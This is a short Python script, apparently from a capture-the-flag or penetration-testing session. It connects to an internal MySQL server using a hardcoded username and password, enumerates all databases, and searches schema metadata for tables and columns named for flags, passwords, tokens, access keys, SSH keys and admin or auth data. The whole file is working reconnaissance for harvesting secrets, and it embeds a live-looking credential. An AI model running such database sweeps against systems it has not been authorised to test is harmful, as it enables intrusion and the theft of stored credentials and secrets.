import sys; sys.path.insert(0,"/tmp/pymysql_lib")
import pymysql,sys
try:
    c=pymysql.connect(host="10.0.0.11",port=3306,user="java_osc",password="56Wp96Z6bS3kBpBf",connect_timeout=5,read_timeout=60,charset="utf8mb4")
    cur=c.cursor()
    cur.execute("SHOW DATABASES")
    print("DBS",[r[0] for r in cur.fetchall()])
    cur.execute("SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys') AND (column_name REGEXP 'flag|secret|passwd|password|token|access_key|secret_key|ssh') LIMIT 200")
    for r in cur.fetchall(): print("COL",r)
    cur.execute("SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys') AND table_name REGEXP 'admin|flag|secret|config|token|key|auth' LIMIT 300")
    for r in cur.fetchall(): print("TAB",r)
except Exception as e:
    print("ERR",type(e).__name__,str(e)[:300])
